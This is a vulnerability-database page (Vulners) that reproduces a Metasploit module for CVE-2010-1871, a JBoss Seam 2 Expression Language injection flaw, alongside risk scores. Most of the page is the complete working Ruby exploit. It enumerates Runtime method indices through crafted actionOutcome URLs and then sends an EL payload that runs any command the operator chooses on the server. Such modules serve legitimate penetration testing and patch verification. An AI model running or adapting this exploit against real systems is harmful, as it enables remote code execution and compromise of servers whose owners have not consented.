Lucene search
K

JBoss Seam 2 Remote Command Execution

🗓️ 10 Nov 2011 16:21:17Reported by guerrino di massa, Cristiano Maruti <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 61 Views

JBoss Seam 2 Remote Command Execution, allows remote attackers to execute arbitrary code via a crafted URL, tested successfully against IBM WebSphere 6.1

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'JBoss Seam 2 Remote Command Execution',
        'Description' => %q{
          JBoss Seam 2 (jboss-seam2), as used in JBoss Enterprise Application Platform
          4.3.0 for Red Hat Linux, does not properly sanitize inputs for JBoss Expression
          Language (EL) expressions, which allows remote attackers to execute arbitrary code
          via a crafted URL. This modules also has been tested successfully against IBM
          WebSphere 6.1 running on iSeries.

          NOTE: this is only a vulnerability when the Java Security Manager is not properly
          configured.
        },
        'Author' => [
          'guerrino di massa', # Metasploit module
          'Cristiano Maruti <cmaruti[at]gmail.com>' # Support for IBM Websphere 6.1
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2010-1871' ],
          [ 'OSVDB', '66881']
        ],
        'DisclosureDate' => '2010-07-19'
      )
    )

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('TARGETURI', [ true, 'Target URI', '/seam-booking/home.seam']),
        OptString.new('CMD', [ true, 'The command to execute.'])
      ]
    )
  end

  def run
    uri = normalize_uri(target_uri.to_s)
    cmd_enc = ''
    cmd_enc << Rex::Text.uri_encode(datastore['CMD'])

    flag_found_one = 255
    flag_found_two = 255

    uri_part_1 = "?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()["
    uri_part_2 = "].invoke(expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()["
    uri_part_3 = "].invoke(null),'"

    25.times do |index|
      req = uri + uri_part_1 + index.to_s + ']}'

      res = send_request_cgi(
        {
          'uri' => req,
          'method' => 'GET'
        }, 20
      )

      if (res && res.headers['Location'] =~ (/java.lang.Runtime.exec%28java.lang.String%29/))
        flag_found_one = index
        print_status('Found right index at [' + index.to_s + '] - exec')
      elsif (res && res.headers['Location'] =~ (/java.lang.Runtime\+java.lang.Runtime.getRuntime/))
        print_status('Found right index at [' + index.to_s + '] - getRuntime')
        flag_found_two = index
      else
        print_status('Index [' + index.to_s + ']')
      end
    end

    if (flag_found_one != 255 && flag_found_two != 255)
      print_status('Target appears VULNERABLE!')
      print_status('Sending remote command:' + datastore['CMD'])

      req = uri + uri_part_1 + flag_found_one.to_s + uri_part_2 + flag_found_two.to_s + uri_part_3 + cmd_enc + "')}"

      res = send_request_cgi(
        {
          'uri' => req,
          'method' => 'GET'
        }, 20
      )

      if (res && res.headers['Location'] =~ (/pwned=java.lang.UNIXProcess/))
        print_good('Exploited successfully')
      else
        print_error('Exploit failed')
      end
    else
      print_error('Target appears not vulnerable!')
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Feb 2023 14:30Current
7.7High risk
Vulners AI Score7.7
CVSS 26.8
CVSS 3.18.8
EPSS0.93535
61